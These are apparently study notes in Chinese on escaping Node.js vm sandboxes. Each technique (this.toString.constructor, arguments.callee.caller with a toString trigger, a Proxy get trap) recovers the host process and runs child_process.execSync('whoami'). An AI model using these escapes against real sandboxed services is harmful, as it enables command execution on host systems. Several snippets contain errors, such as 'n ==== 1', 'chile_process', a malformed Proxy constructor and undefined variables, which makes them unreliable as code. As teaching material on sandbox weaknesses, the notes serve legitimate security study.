沙箱绕过原理:沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱
const vm = require('vm');
// 一代沙箱,不安全,有逃逸漏洞
const script = `m + n`;
// 沙箱内引入脚本执行命令
const sandbox = {m:1,n:2};
// 为沙箱中传入对象
const context = new vm.createContext(sandbox);
// 创建沙箱的上下文环境,将沙箱对象传入
const res = vm.runContext(script,sandbox);
// 通过script参数进行沙箱内部的执行
console.log(res);
this来引入当前上下文里没有的模块,绕过这个隔离环境
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
// this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,即Function()这个构造函数,构造器中传入字符串类型的代码
// process模块调用mainModule,require用来导入子类的process模块,然后使用execSync执行命令
问题1:为什么不能使用{}.toString.constructor('return process')(),却使用this?
{} 是在沙盒内部的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的 {} 无法获取process,因为其本身就无process
问题2:m和n也是沙盒外的对象,为什么不能用m.toString.constructor('return process')()实现?
因为 primitive types,数字、字符串、布尔这些都是 primitive types ,他们传递的是值,沙盒内使用的m和外部的m不是同一个m,无法利用。
const sandbox = {m:[],n:{},x:/regexp/}
// 修改后就可利用了
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = {m:[],n:{},x:/regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res);
(在1的基础上,进行修改,使得this无法实现)
const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null);
// 上下文无对象,this指向为空
const res = vm.runInContext(script,context);
// Object.create(null)指向了纯净的空对象,无原型链,无this环境,无任何方式方法。
// 在js中,this指向window;nodejs中的this指向global
const sandbox = Object.create(null);
function greet(){
console.log(this);
}
// 此时的this是在sandbox下调用,此时的this指向null
sandbox.greet = greet;
// 将greet赋值给sandbox中的greet属性
sandbox.greet();
// 实现调用
利用arguments.callee.caller实现
arguments // js中的callee caller 是已经被废弃的属性
//(1) 写个函数实现callee
const factorial = function(n) {
if (n === 0 || n ==== 1){
return 1;
}else{
return n * arguments.callee(n-1);
// 实际上是递归进行传递,arguments.callee(n-1) === factorial(n-1)
}
};
// 1 2 3 5 8 ---- 斐波那契数列
console.log(factorial(5)); // 120
// 5 * factorial(4)
// 5 * 4 * factorial(3)
// 5 * 4 * 3 * factorial(2)
// 5 * 4 * 3 * 2 * 1
// (2) 实现caller
function outer() {
inner();
}
function inner() {
// 函数的父类,谁调用了你,会指向某个调用你的函数。此处打印出的是outer()
console.log(arguments.caller);
}
// 在inner中,arguments.caller是被outer调用
outer();
// undefined
arguments.callee.caller --- 某个调用你的方法
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function() {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('chile_process').execSync('whoami').toString();
}
return a;
})()`;
// arguments.callee是函数本身,就是function(),加上.caller指向toString方法
// toString方法指向外部,在外部通过拼接字符串进行调用
// 最终toString方法指向沙箱外部
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res); // 通过hello触发
// 在js中,某个东西和字符串拼接,最终会变成一个字符串。'hello' + res --- string(自动调用toString方法)
// 相当于在外部通过hello进行字符串连接,连接了一个函数,最终调用toString方法,这个toString方法就会触发内部的a,触发a的toString方法,利用这个toString和constructor拿到内部的Function,最后返回process对象
Proxy可理解为:在目标对象前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,相当于对外界的访问进行过滤和改写。
var proxy = new Proxy(){
get:function(target,proKey){
return 35;
}
}
proxy.time // 35
proxy.name // 35
proxy.title // 35
const vm = require('vm');
const script = `(() => {
const a = new Proxy({},{
get:function(){
const cc = arguments.callee.caller;
cc.constructor('return process')
}
})
})()`;
// 定义代理模式,将代理模式定义为空对象,这个空对象有get方法
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res.xxx);